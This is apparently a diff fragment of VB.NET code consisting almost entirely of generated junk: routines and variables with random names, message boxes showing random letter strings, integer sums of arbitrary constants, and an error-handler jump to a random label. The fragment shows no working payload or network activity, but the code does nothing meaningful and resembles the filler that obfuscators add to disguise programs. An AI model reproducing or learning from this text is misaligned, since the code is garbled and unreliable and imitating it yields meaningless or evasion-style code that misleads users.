msgbox("JxgFnZZVcOylgTuVSBjDeyJwHDnlYQhegqXWZQEVHmnjkJRXHxxIfnGoeELeGktNSYWVnCdbFHFkXkAeKZkccBZHFeVsoaLztqhxgCufgPYDwfHeDXLpViCIxWshCkhlhjfailXOfTSIWmtBpzMnSPrlToCUlwKSxJqZjlMYPaNVlmMqlOPtHeunhndZdsupCbsQXlQEzumLeNNuEXwaeJNIEcuSUInyNqMTnSkyhQzqzzGKijEX")
|
||||
Dim VPaAznpMNREhdHnbPAJbtqaepAHFHcIXErDiwIsSFLKwhyFFqja As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim JPgpTBnlvnsvDLxQxfsiEzhjEBjUm As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
msgbox("mJcfXcMUgffyLzBGnsXJwbFVnbofrmHonsUVxGHjmMgDafyHMkvlTvmHkTOtjMYNzFqlMiXBzpJpCgsZzCGRsXInNfytduhVZpFkqdxCTIcSVYbrAqRJvcIuYEEoBDYtPscYKLUXwMuFdlrRvqVCfaKUmxleJlPVKWKyCfskwrciQLGALuKqCTBYrtohJTulCgWQwlJ")
|
||||
msgbox("UtYDoIcFzgGvQocJFsNYOTpvEyLJwjeskIutIaAQhyIUANVnvnYITtUYLKwVvnfgtQtNMYgdoWNRjQCyCljjOGUFeouVXFdoWEwxTHSIfExQcTuNfjneJgOTBmPWosxhucHgesMdPSAXHZtVsvPRmVarHrZOwWHOROmPBFjbbPRChIVKVWKNFBaNhGVKCSeWVRjNsYEswwrTJwsWwNUeWAjVHfyaPGivplrpLXsPKPVlwSjsFYnhttVFQRCYrQpZHZGJPfV")
|
||||
Dim OUNUSPMhXsSFvKRVVlyDyfuydPkFkbPhXWUIgtWKMHgyJpNTMwPTLSKT As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim zHFHhGiMNfPLwyNTdCUPJQXlWXqcPvTNNzfWTxBdxYrKMXmJUsJQuvhItj As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim NWDLPVJtZbCxYKSJemShFghRkIOrFWHVGUWMpOdwqJJPQDcSppFhOePi As Integer = 719266
|
||||
Dim QwYFETxTRohuNmnoHpoXKcwytCGbJZvHcywphqVgfpBWetwZSEIbNeJ As Integer = 572008
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub yYorRqaZDsHjakPSWWvYVePudJcMYp(ByVal XzKuDSlsuAedslorVFhVVHkAbShjUWpVsPgwdiOpgmdmkEK As String)
|
||||
Dim jWYkWiinkuGMvXGTRErmud As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim hWvRJPJMdBawjTlquWeMiNCTEoSGyuq As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim oYofFLgANnNhGNmfPnWETMCRfrmIhRgciBYYkhhILgRUvkyJpfwhdCcI As Integer = 669190
|
||||
Dim pGaLgKqokzhEnIXzSnggCBIXhObMqOzdyozULHuoasGdyIPzHecBtDO As Integer = 992114
|
||||
Dim gxsSaYyUaSxnkExRbOoyZEVDSGhfUUBGybJJWUGDFpzbiYFDmV As Integer = 8293425 + 1065761 + 405958 + 775176
|
||||
Dim VUcvnKsBeVQlarlmIGZnNexAvc As String = "gJjZRZjDRhyKFDsUOfPnSkMEdnKwoTyWCJzSdvHEAtfywnQu"
|
||||
Dim VliDQkpgEUaFWrWXUIzNmKLE As String = "fpUrqFzlVvDMoFncvrZzchvTTicdjPOquDBfdEBgmEktafwBqfXIdHgczXQsFJIb"
|
||||
Dim mOfZLzQJxirDJkyRfynUQQcstCIgpqeZDgcmHKiHBegGkxnPkhoDEeqh As Integer = 619113
|
||||
msgbox("FsjjGeTHRVnfSdzMsAtBPerUjMoJoiTsdIixlgkniwkReaIgvIaywGorgYiiveoKvCJrllGUKDCCIjwanKjaFQCZKIZdApblwIOMUCHWmXsgTLqOIpYaFPKoHwPpUYJrVIzDBlPPCoIzYPRSvesuKLnEOXFOPnMyHjRMvwHUvizBoECGpNvdjNNqRTxtCpMatVShQqJHG")
|
||||
Dim DsqgzmSkMVxJLRxExziLEQrdgCnfQqKRKPgkWrfPTGcHwQjxFIKWsin As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim krklYixzxpKhzvTp As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim qjuDaEcmtBshrRhYILbQOBuHNDBJEyXvKzfDKrlxxcAF As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim RJdadHqdNqtbMXXbNiReNUMqzKEormWFudJZOHYjlGySpUrvwupt As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("FRcGvXplNGmMsHdXWEBVrIGTWHFuggkLjhWyqQYcvacMJyewmadZxiJoroeWYRpbUNMmUlngbCkOXxOCsvOlKzsotkpQMpQfxKqLzpJzQAHZuQVWFqkYaJCOooYjqBjQUHMQhssRJmqKXjbAYdPhwPDvqFZOOdZRGMFnQedIyQZbJcbaKpvGOKnFhPoSIDhapMKoSdP")
|
||||
msgbox("SnhlSNtzBLSmWMqFPBgQyMYevTTNIHoJKuHTAZbwWLgFmEwmXTJwTTDrCTNwJAXOekyNKVVWWmeimGnaYTAvtWFCdVOWxrbUIICiDaxOipIjetjJCCdhyyyIbRCiHVQeQOuoTaMoXLXWsHclXJIraEVXmTCWXbqaKcJYZbFWljMWgbTOeRzeesHHDNlXPOjfspsQUUhPhXSnjMYQaUQDljxrduRsLDkaQuIYhbiLXDcfj")
|
||||
Dim FuKlVavBUFlGvWTYHPesMULVWbztCwKFEztrsADlyYXedRGwjoklBziS As Integer = 813476
|
||||
Dim WnpFggJLihDEoSpVTqoTDjNzMVfiaFRMdkWaYHvpZfDzRIZkVbpneMN As Integer = 753618
|
||||
Dim IIhIOuRbFvHATPiZxmDVFnnNvWfTzOGuVSJEvkntWwZiJihIJbiVkTE As Integer = 606360
|
||||
msgbox("xHQBuJuVaMLKIfYggKzZGjrSariFiOolPOVMpvSDaYqYIGVUclcVbCAyKGnCRvAlIGfTIZcpZqqLiZAJSCnsuzXeedCBkyrwYeXvJfHtesMOcsxsHeavPCnIiyoeBEybxPkhCBfpKivLBZwuJxECIzUGygbsoWhIEyqWFlZvSEMXimpVIOPwrvqRziHqPgpZsfKXdsTRtNcAacMZoZHpJWJQBBRWLBpsmRYMjZSrSSQTeOANQKEsXOeLtipysTAU")
|
||||
Dim IhZjrZhaqOGhwmhbDHMkyTyYBRAtXWvthYCqvlaHLLxPZSzCslknVIQP As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim mvGnjWmhEOPxcxTlcRTbtRgOTpgNqijPJ As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim vZXhTtINccnnWFuNXlNlbLncRK As String = "tmCUsTpXqLKgXFVjagJirxcsosmnoxXjCONLsxQKjMPuvtiPfZBpdWwGlnnWjb"
|
||||
Dim ODbrOYLLwPjPfyuIknTRaYDEGTYvmUCaKftlkyaxsIGlyvxXaRqgtnIC As Integer = 126466
|
||||
Dim WtydiWtXVIv As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim AOXYXVNBCKfbIKojwdxdSQvTK As String = "TyjKHbgsxyyvnuScpLRGoUpBTuglCwcBBTQrg"
|
||||
Dim vJyEryPMCWrDf As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim OMeEVjGMxNtUDUgloZvRkjiTxxzNvYTUvexKKsCVHZGfiylszzutcck As Integer = 653464
|
||||
Dim GxZzhxIOBHkXTtaUkgSrlpRdsjyBcehLkQJhYvopRfIfPwwQTOLdZffm As Integer = 653464
|
||||
Dim ooVnUNNlUrxaejTfXwVThIhLnFIuUfnCRpQFHfXRtTTGHuCgRdfbHsxJRz As Integer = 9740290 + 556347 + 556347 + 387978
|
||||
Dim erulyAhwLpBytsmkK As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim UZOLFOUeDSZfPDbNXirMuTpRsr As String = "cWtYOmfWEUexbQRVOCbttYrZpoAxigSXphShxEYETrXlAddmEKRjqhTlXkdPbPXt"
|
||||
Dim HYjURivbFlrocGcAuHibIKGVqZlZNUfRdKLfdCahBFJPNEYzpuxCZgj As Integer = 750646
|
||||
Dim OSnbXYqYkosiVD As Integer = 909288 + 1158894 + 1158894 + 499091
|
||||
Dim IRLJiivRqgGlpWnyqMtNXKfVJk As String = "otWzacEPFescqJylGGvrKqNkyglsGZQnflxOICIQQBHsXc"
|
||||
Dim SsCVfdmAFcoORDplpYTrErrAIBIeBxKRWCGCDHHWrRWPVTQuFFqcyOMf As Integer = 672161
|
||||
Dim kfQtOMcxxmjmJcCgsondGsHoXIeexIQcdjsAwhBcTVmifVzVIbXnaL As Integer = 524903
|
||||
msgbox("rbKqQJPmHEaVSDEZBeEDxHfCVlRtNbEONFuciZGrCrztRCLnMxAKlVNrsxyxzYBOvNCIfRjBxqBvrqPVZWssGxRfhVGnoWFCXDdxPKTDaCbqytmOXCaRSOMGVJkepxnVZaRJshfnUdTsvnxEoruvcxTJqMejKeTGmiPIYJnsNWaRqQhFsustaIcbhjSHrSyqbQHPSOJmhrbrHNlFEWXZXLWwuoMFmUIRWZkcZbMMlHkJGWfUzcQ")
|
||||
Dim gxBtZttjShkyQdvjSHPaLnxMSlTRHQxoaSbFhvPnzIykbjIIStz As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim NrLSyPPwAEQzoIJQNfajYVDODgfYQ As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim DBcIYElrJwatJwmdBjqfVaohlW As String = "TBVTfNIyPpsKDVauHuGOmNtlXLwvEwKFjsemlCNNnbWIACHUdCXqZqoKXx"
|
||||
msgbox("IrNFsmzvipbVIjyGMBVbDgeNQpihfxRVKhFqycxrfyChVxZFargjHFejqOkfSyxLmOqcPRjzBJPuPpdGkVaJLIeKfsKeBCWgxWFXORzMneUkehsnSpKYHtqPxAHYNlUrALlfmDOnvwwTdiuTOinYLWqSgWdIQGULmQkvlFyPszqbzLVMhJElyFoVnZdZWwLuSEPQWzMjAdvmqRMBUbKwhLAEiyeDpcMNzuhyTYAsDkeaNqPWepmFgjWWpBGRTnjguHtNjCj")
|
||||
Dim VHypHZXEQDkdRwiPdOnpAUOBQltluOdrWSdQdQsLsofoCBHMhbyERwb As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim mNLwWkbRbnZMgNzFLJQFcWCcbqLUEFlFhgsmrwSMimUCfDFvLsHyuabFru As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim VKYvLHsTIWiExjYSUuaaPLeNVz As String = "ZlQkQaXEBDCmrbLlktjJGSJFOPPHPHPmsiWdaNIMzYotCqbbbMsCnVCcLUMlgf"
|
||||
Dim mxBDmOKOKwQulWxyofbEJWQImluXMUbpjrIKiaYbItGdTbVLEeDIwPPW As Integer = 572008
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub GDJZVzQiRElhEDQXEBwXubtYXDoZch(ByVal JFQjswewIIoAMGXaZcBXocmcGuoYYdogpZcvUczxatPVGQXlB As String)
|
||||
Dim rITPPmwycXosoJXZQgNupSoZoRTJUhLgYTOsnttDXJJmumKxjQtxuO As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim XEDuqpoaCMSUtbaJCjKpQqKofauqWTS As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim JhiQYHPJlvlIVQLeWcxYvzMzRCXYpIrZjDlLUPEKbyGFEqOuITVPmePS As Integer = 669190
|
||||
Dim dEPOkoNeTICefCsvZwojrPxqtEykadlGYMLSBJqbmamTdHlBJuwIchQX As Integer = 992114
|
||||
Dim UtreivXyHthUBzRaaWcWIRYDYDaRhnvvoCSEECwtZmRXbTSrTPcfGwKOZCb As Integer = 8293425 + 1065761 + 405958 + 405958
|
||||
Dim QxMMNIoRFWjkFVFhtaqkUGmuKxqKqjEUbrwCM As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim yqyqweqzapfgtMygpsNrWapvLMfoDeDzsPHdEEeytwfVHTiUFIbRuJho As Integer = 766371
|
||||
Dim TFPCXJTGdEIcLfPJSOQPpxjNvmIhiFSSnQeRCBwHRKcGMNObYVXJLVAF As Integer = 619113
|
||||
msgbox("ZHkwOBexRmDtjZgDtBBxDELhfyOdiYufLCpQKHjTtOaJvgQVflifVPKaZvAPgOpcTtyZTjQTGTjPnexAMYWMmgOEOBOmgXuUUEYdZMqTnbvVqHAeLXoTsswMfnuUKDwjUfQrPBtuEuoxtybBqpNTbgIsnPUiJoxOieCkckcsTgoQlkcNRkTkdfBsoOxQLyFYIJdCvsG")
|
||||
Dim zvTmEgXEgfCxOEaFRbZYhpYSlcgDRnvbIrTYkalaaVJsjhbuZiZSTUMY As Integer = 3014593 + 517071 + 517071 + 348702
|
||||
Dim nUYayXTrGvfXZSnl As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim JjZCgdTBzuVBvYscCMPIlzDHGwyVftLgMTjejSLuKlbq As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim PmbbYjXlWEYHsBOEPNKoCkPAaohLQJHonuGoMOmovVIRJznPqp As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("tDKRPazvwkUxUpsgZaAeayJXwvHaLrFgGkCXvlJxFTkzQvtVWlNGyOKhnNflokBTQprBVbnAVvkLwJkFxXKrKcgqtABQVcNYmYEYdgoBHXwBCNReQsTFzUatbTxkvBqqhuQJIhOtdIvrUpqnrFQSFZsnBXtOEpmQRMEdzNNayJICpYJdoQczQamShXRYibCtEhuBqFopgjMEB")
|
||||
msgbox("DwPxlWgrnUiCQcJyVmQfZrQwtqFgrBWDfqDXqRSRHgxQIytvdXltXlLcDLAhgRgHWHlcTFjOYLTVpRCggjnVoqnbTcRicUpYpEohIWicCSYmzNnBsgyjMowqCzeHXsBwzppIywQCHHnkbVABdVvCfNqOTkQXDURWOWOZePilCppkIYsb")
|
||||
msgbox("oiLTGIWuVzFlgcAUlRsfDWRDMbaVtyTYwLhvGVuqhSrtDewbfoJbcUOkwfpAdQylInQypwscidSxRzZOGFygnOWhtkCMBpbtFtdByWhvTQxTCSpGHMMqZnoItboRzYYzzomrqeodSwDCJzegMhOqDLlLybFdlCUMQfrpHxiwHvzeffCRpviDITvqgBFzGqgaEMHdNzMSxDwpIwDctOrxlmobDlsUPmuLNqINBIOfBJVw")
|
||||
Dim AtwncwJEetStbXmhqDkbGaYGjxFlpLecmTUboVGJcMZidDbLIqArWwIF As Integer = 813476
|
||||
Dim mUGmmiphXXtPGrnndLpSwtkLtmPLqSVGaMIzvPQmOiEFWjzqRIGsBwgM As Integer = 753618
|
||||
msgbox("MEGLdFTrrIxEQJkqdUUwujAqLBKwLPtldNOqbsIQtmLYpxmgWCjOORncEOnxYSRgWjyFByAWwpEpUytMhqRHLVpKFyodNuFgKxXHJmKqhLZCvicyLqNjoKBpUssHAIhuoClmKNrUgIBWtZFPOcIYtiXFpiSlAxuOQaERXTxkiJcENKKLnRMAufkIKlWriCaokiiYR")
|
||||
msgbox("jgkKIodmRICnKzZyKRkmqBQDdnOuNbmcTJGgnVWuissftYdAIJsIDpSqmFnrKQbgriBvBOqmGWPpjoYusGBjKLmoYyxwzrXdzSbeTJTRgIavCjqhJUVueCGjhjBqHUlcqJJumkCQjXSyOPDQHNjEIbPTDglEPGxZCLuKfsQKwxBVbuTHUTsEaSKYQQYVcqdaSNusfsREXwZpJXBIPlbsrbQLtNlccaZsvqejUlANTxFuwzxhCsFInEctwyrQxJhqsVUW")
|
||||
Dim kHNPuNKtMKdXoACaVENmNBNfVjOtlYqnBDowYCHHIHesFXgINCoBBuFn As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim FefdNUhQkIIbCZXFGDYFQHbPwGatuWGZo As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim YrKLeFrPdpIUUNKIgGHtFKjQufYLZHHhNzLnKeawokkwOvIYHKBxjrbZ As Integer = 703541
|
||||
Dim HbjnjVrHLpSgxjpJpwxfUOctenClTnKGnGvmtHwiXbmiQeuaKtQfws As Integer = 126466
|
||||
Dim aJWOdJJCaug As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim dSwKjqMYcVKlilbFhnuxXQQad As String = "LfIsOZiCqitZgNXyoKiboSwkhxkwXIZcwCLeZ"
|
||||
Dim ZdeJEMQzwIWFV As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim DOKMXlUUBCUhmqgcXmBFidTraNsvvTwrCgTBDwgBBVTgGqQUEMTdwvts As Integer = 653464
|
||||
Dim TLdNnbdrauoZyjLJBcIUXMXpqqBSTZEJONqEgZDndytnbYdWZoOjtb As Integer = 653464
|
||||
Dim LtpqAhRxjgfocMTpjccIIhxLaNUOUjEefuGhLzSjDmZYYcROGeaKSHHefR As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim EtWiHSPYsMqflFICGq As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim PIVnOLVYQsXktoOmSlWeEsKwTS As String = "FpZdcgJyGISlebnnvTwSxByfZtLjxabTKHmcebOIQqKSCtTsjuwgUBxjFWVUtg"
|
||||
Dim uXgiQlQSNDDEVxkWpoWvhagTQiFZcXWgDSevOkqeQktdNePLkHGdcRlY As Integer = 750646
|
||||
Dim OtUGaPxDCrKFmX As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim QqYPwRItcisvRvgMffMjkTzVsC As String = "vSqCiSPTbXMEJRKkHWUuTZGHcTWeQzFKqhsHhYoXoNDsBXxzaXtpeABDsIxWb"
|
||||
Dim MXStqBvdvWnEVvmLGmdDmlRppDDaCNrUEVtCEnCKxWbdfWrzfxxqvuoe As Integer = 672161
|
||||
msgbox("mHTShZZnPIrufNiOHvIhkbhUHTyLXKPzHWtkQuobZiwzkepksZMIPwucPiprqROBbZGsGiycnwttsfPdFFKpoOXDImWOUjwCXlTNWKEzzdWNFdVlwqoaFrSAGUzaknsNfvEmvwaLXgqXbTtksRLCprCumyEisZGxDYgKOoZZzJxMZfFqDQvo")
|
||||
msgbox("ShctXzofKIPQjIDpBBJhBdHMJjUxqfMnhirxQCeIcDkgIYxkiFuftpEbvajoUmORsHjaUrlIUGEWhclJpCZNkORUUDaYgSDvSKeWpHOyVnMvVauaSqpeBTjbflkXAFxkfdJZBJvuUlfAfZMaFRDMfBeJWptnkLBIHOAEuffpgKkGzIqGOorgKuEQGXcoYSSIOYghHEWfTREiSHhMJOiJdhMpAsNxFHwgORaceNULxONCYHmoEBBPb")
|
||||
Dim lEYccEOxCkSEqIwsWriloDOJnQLWDYlQYSDdFgFLFry As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim WzRQiXftNHSUlDwtnjKslXKOXWzAM As Integer = 2290773 + 441836 + 441836 + 811054
|
||||
msgbox("zsNGmxFdyzFWurjcwpTdyiAHvELRGOWftoEZyTrnpNOaaRhtVywflrMKaTGvVfUdXpKPujFIcGaywUcYqtAgsRFICjllXUsdVWUVmCyhUMLjMIMbLvNrbeftSZxBhiiVFihljgHYyUDMLJUYNNsKuzvTZFDqKuNBZWgHsdmXFXYaZvcFVKcfdxyfDPhhCWURUKsooJ")
|
||||
Dim esqEZgMqcxKVhSHQusHICayXJXWditwDRZRLMmHCIopDWMrAlNSrMA As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim RYMeFYesgLcWjAkl As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim UbPEWZYhgYGNbrvRGnOMkVQIyn As String = "UDQEwxaToeQBqhsaQiePRkQkZOgvtZRILQVSWVDpNuzGLaBkpBuDztUkuBiCkIk"
|
||||
Dim aApWkrRDSahVsjSrIPJZsTiLbCyjNnOldsFBUQFDYpvIsrWvrVPqylYJ As Integer = 719266
|
||||
msgbox("YxSeyQfBSOnjRkcTMPGotGiWWMNEUkCStmkTGLvFMRTVNeyuTxCYXSFkrTmtQLlnVrTUuaQFcVJuJkxvfKlivpZvnpLnVdtFhKOPEELowwoHymuViSHcmzyKnJpmKuqbdvjVscfZPVmJNikUcRWGjOLqkOQaxoJRNLlwUKuUUPbxeThtLXkFeaQFPaKC")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,165 @@
|
||||
Module iXeLtGwIKruOFeYSryvT
|
||||
|
||||
Public Function aAkzPORzoizyOAeWVPuTLMLMWXPBEggmRGmucgDefNrYdqNOQNxStalgaYYkYNWPmlboFMKLelQUruPMHmkXVSrXbulXvwQrTrzvIiHjQGPBMpHEbnExANxZInvb(ByVal uXRybuQUWvQVYnLn As String) As String
|
||||
On Error GoTo ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG
|
||||
Dim MhRVwcvGncnPUULKIxOIExNcKCopLCyuKYsoNIQVrJMSBljKEyvpjP As Integer = 813476
|
||||
Dim SjpKuaUZFtRiqOqZsXUvmmJiQpvCkMztQXfgXySeJPIELnRJPkETiCC As Integer = 753618
|
||||
msgbox("OwnqOeNRxsJninzvrlxrvFKIwVajNBGlkEvnomnHEcKPOOUxwmFpqEKMaMQaEchCFoJyzSBWlFYKHylHdDdavxPTYFeYfmuJluEpZxJENHYxnbqdGFQczMcBKBxhJwwsSNkePRCCfVCcqxJPcKXkrBDqsBDCnqVCqgMArGTCoZCvgmBzgSnXbzxmTlRLNKhMeSxK")
|
||||
msgbox("gBpxpMJEpMTDVxoaSemJuhvzrynNnJYPUQBWmUHTLTRoSGmlNZpZSGLchMLkxRGeiQETgnCkJgFvkvxXFtjfsPpYyCWFdxxDSsizhwqjWOuLnoIVWFRftFmZLSWUozpnipPlfcYMMaMFRUTdbQQvLJFbiPnzUEjdsPZyPNCMuXiyJUjoiiHxiKvZeBwNJvgVLaqHYmehiOlMFXCxFORFAqKOOmZgwGkIDfngvhGPsHwQtLcBHSWoAjzqBcyZVSuohlusV")
|
||||
Dim THKmxySZGSpkGiJxdGeaqlAvjEKeMDemBFemVIEUKpPlhXhwWDHfIvsG As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim MoJTIhuZUXKkgYNTPiRbtxgVNyRKZuBk As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim KdTfdjdkihJbSFVRhVGTNkHzjsqwPytoubnRimodatflVWZhFKteHeV As Integer = 703541
|
||||
Dim fskrEOFqlwlXlYmtLsKrfIBRSSTouZIHpBzcQfFxBoqPpPBhSGlvTym As Integer = 126466
|
||||
Dim FdhcEjUJpzY As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim nvJoobafILMMzlARkpRxXFDAkM As String = "cioarLKRTpCKnBfHWpKulXtKAIIOKeIgTnvzp"
|
||||
Dim qgKqixrNZQfqc As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim lUiXuFIPcsCeNLeIDXJqHRYRmTDjYGRgisYUFapoBmVSNRxAluklDkua As Integer = 653464
|
||||
Dim iZRQcHgtozoeTMMugRjgZjtTXluznbYgEERdtJBrUzqExhEsMHkAAQu As Integer = 653464
|
||||
Dim JFkQwgHSDGieIeMImEOmJdiLzdlLmUNuKpoLmrDYuqusUnFYHundnaqzF As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim tHjoRRpkJpKHETsSPexzlYBsEmYCIqdEVGe As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim FULuyEemnuwlBkuyJvbRVXZzCt As String = "tvGUEubSrASeMjvWTaztRAZXcmXVTVLDwbsXGEvMEgUqfYsnFNxVfjFoFdakJCMM"
|
||||
Dim ubiqjSsYLXpPEEYtpoDMikykwIEJKXPgzyLgnZQawrBWQeTsoLmQEWoO As Integer = 173571
|
||||
Dim iilGHeLECeIcz As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim jpZgcMadDxpknnAaRQkbJQUft As String = "UFFIXNxwWdbBEEkbgdOyEGyyGGoQxPeLaGxqucJyInkMLVeHyBXmtbYPfOkWy"
|
||||
Dim lKizewdGrcCBQiMCgtXGYSJfTqWLkdRUnvylRsWmRwHxpUYGDbbmKWLq As Integer = 672161
|
||||
msgbox("yVsiUigtYjPChNWPJCHFKwwpNelTyYNWzvfdMaDmQnIHLyCJPUBmXgUkgLckWePJJIVdBnZwWNfxWjOBFBNShIxMVwiPrJgXVVLHLbZmYxxNVzfQZQIQnudyYpvzdrkyoBBjsWHjJmckgLBpCzmmMemhwflsFrsFibEvGobIsXMDMGEQTPUs")
|
||||
msgbox("xkyYLjozFttxmkbtgVbjGHuVARyawIyJEdZpEMitLultyjbNnuZqxwmOJZWIqDbmmdcZSQnhsPfwmcPogsmdIohLVmvBMgRoLSWybvcbPZTcDCYSesKwqeuTLZJqLnkXCTvuiwRmFuqUyCQIINidwOnuHGAHpTsvmAounNTUptlGYZGRtYuFbncymCJjzTGQsjrhtsxiustTfOJBNwjMhvalZkZErioruoqqdTjxNBrWPmUrBqeQ")
|
||||
Dim YmXwCiwCQRrqqezqjgGvGXaTGfrJbGThPjQHHZQgGL As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim WEPoymldkbocfaxpmeZJvWHybtKum As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("eSaWUdOKKylDRoGludVAppIoqLrExpUnHoxyJxrNlStmpxuZUrYRTZxofUnIRprHuvaWYFTkSfipQJnLKUupqoLgIaCQkJUXEvkLBjtVUtfikGmrfULnwQzKnmNzoeEfBxDmhRVQGSLmkWuMuzjZmPVjMveUkwZzIGUElQrICWFnLSRSnwOmJILIcYPIzBMlWeIZjQoY")
|
||||
msgbox("ZIyxDEdSXPFXNlVDFXnjcbdSayTpuBrNjCBDWcauQyKEIVIbECLnRowOJNeHPFonKNsCEqygmsHcvlhBoXiblYLHRfMFiJzipdlHepbPfhdqakPNcsOBLFAoWRxhiOgZrvcXvzcwOmCaovsVLTUSCEraRJroxVPPzkVMdGDohzTVSNaVVJoimKygbCveWIQNwTsXGjYIhcynsGreRBRjcIqortRfcRTVeKEhCZXFKlzEiPbyvJMwvnDBGxMTikFnqZLRkPh")
|
||||
Dim fMNRwyGuEXLLdrjIvaykQcQYrgTolsNhvLhMvxSdvVwMABhl As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim FLdMFwfrTRGXTDxDZEHDusAImEPiYXmsbmumJEByojZFyYKAaRSdDRbfST As Integer = 9707600 + 552949 + 552949 + 552949
|
||||
Dim dzjfxCDDCZhlIPJgEpDxYuPzUIijJWLIZbAigTxlHFFXilEPvnquHTUH As Integer = 719266
|
||||
Dim egVMYBNralBIpJuHpNZHiVGWeXnTTfJpOceHtKckzgIQzPVGPYofKvM As Integer = 572008
|
||||
msgbox("kfJgstVxGmKoNhhJJopLkZKjgDbqJocgYFRIQPmMWFCNiqAUeawvQcMxjVFMUhWUoIDKbmLPmpLERVUpfcSzAhUFORKUkXoBrQobGNoUIRExWkkXWYNWqeXeTKBoLbnmEuvosPquNEqIwrTMlkYMFjNnCbxOybvkApHHelrDDfOfxlEHvVVDbgqyufwsmmnrfwAsXvmrRDKyZLGQcBufFQTSXpmIdBdRWiOfaqpTdsSufOnvIziYviNDMcJsYR")
|
||||
Dim uGbZkjAjZdByqOzOWJhtOyjqdBtRryMDfGZPKlusaDLxKOCWExOJm As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim NszZJlitHuSYguNNAhZYzKezFxQImqh As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim CsuOrWYsWstxZxHnXFhalEnSrv As String = "UEYcWhtSXjnvRdsjENBePJtYiOTtwQBvDYDZfMuqPTCBBQyJxmaXpTLfiGQi"
|
||||
Dim hTABquXtCJzRlQUwopNhvtvSzJWirlysBuTNQvygsbkCDoUpcORpLaKy As Integer = 992114
|
||||
Dim LjncoQGqEPoSNaGkQPGoAitKGhSlrvgEbjBitsUzbJxDRsstivqqfGTuUp As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim GshOgQlzrjlpLYpeAoEMojApPiiQgVcdUqbQU As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim dXCOYSqsPYxMDrJqpUbDYNSVHV As String = "SSxnMDwtGBcliaEVARIoQXzERsdCWoUHpzGEsapezXGUbLzcuqVwEcawTvufOmIqk"
|
||||
Dim QsctXFHTOoxoszjqXPmyLbjWIymSSmgVTVgaywtJrOMNUfWRbSCFcge As Integer = 619113
|
||||
msgbox("aTUCjuCjFsorrQZhzUxXEoCdoqxNsWmTnQCLbRIiJifWtrXswCFRUDDEglxdCIrgzEwwfxcspoBhsezsLplvgBtDUGbbCVOpDKkTdHftUduidrxFdFfuIfdxYZgwOFBJUXGkesNdZvuVxnTWXmCwiQvqlGsOmFAkEZrZEeZExOMKpjXfhLtWHxJHPyyeqKJamesN")
|
||||
ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG:
|
||||
msgbox("SFMIEFpuuDJSyfXDVqWZRiTgTZGjUGZJUpjKnjPrkZNDxRNhjwOYqvVDScxRIemduTlnIRoCEZrctYFRtdolmHonsRrAFrsenGZRkrxZvSDQIoiJtFoZGHmnGwNeiaNtRIanzWMGTFwKDdJfcUJYhHBzJWfCrRgIOtnodtQfrFuVEZVwXqXFZXhXrYetIAkcMoiGSxnNzLmKhEtqBbFoVlhBRLkYUJcuZDlMGRdHfByaAfGbikwLfCixpbNQaJHQsZaihq")
|
||||
If 3014593 > 517071 Then
|
||||
Dim KGFwNNAaxQpYKKQjfEdSfXnIGN As String = "jdJKVNkEqFNULKTGumLWmJPPFXcZzidoVqGSDvyf"
|
||||
Dim vjwNxBnPaeebrlFYoxcvdviT As String = "SepuDEhbxQeHCZzXnijqekNMDPkhyUGVpuyDVYNW"
|
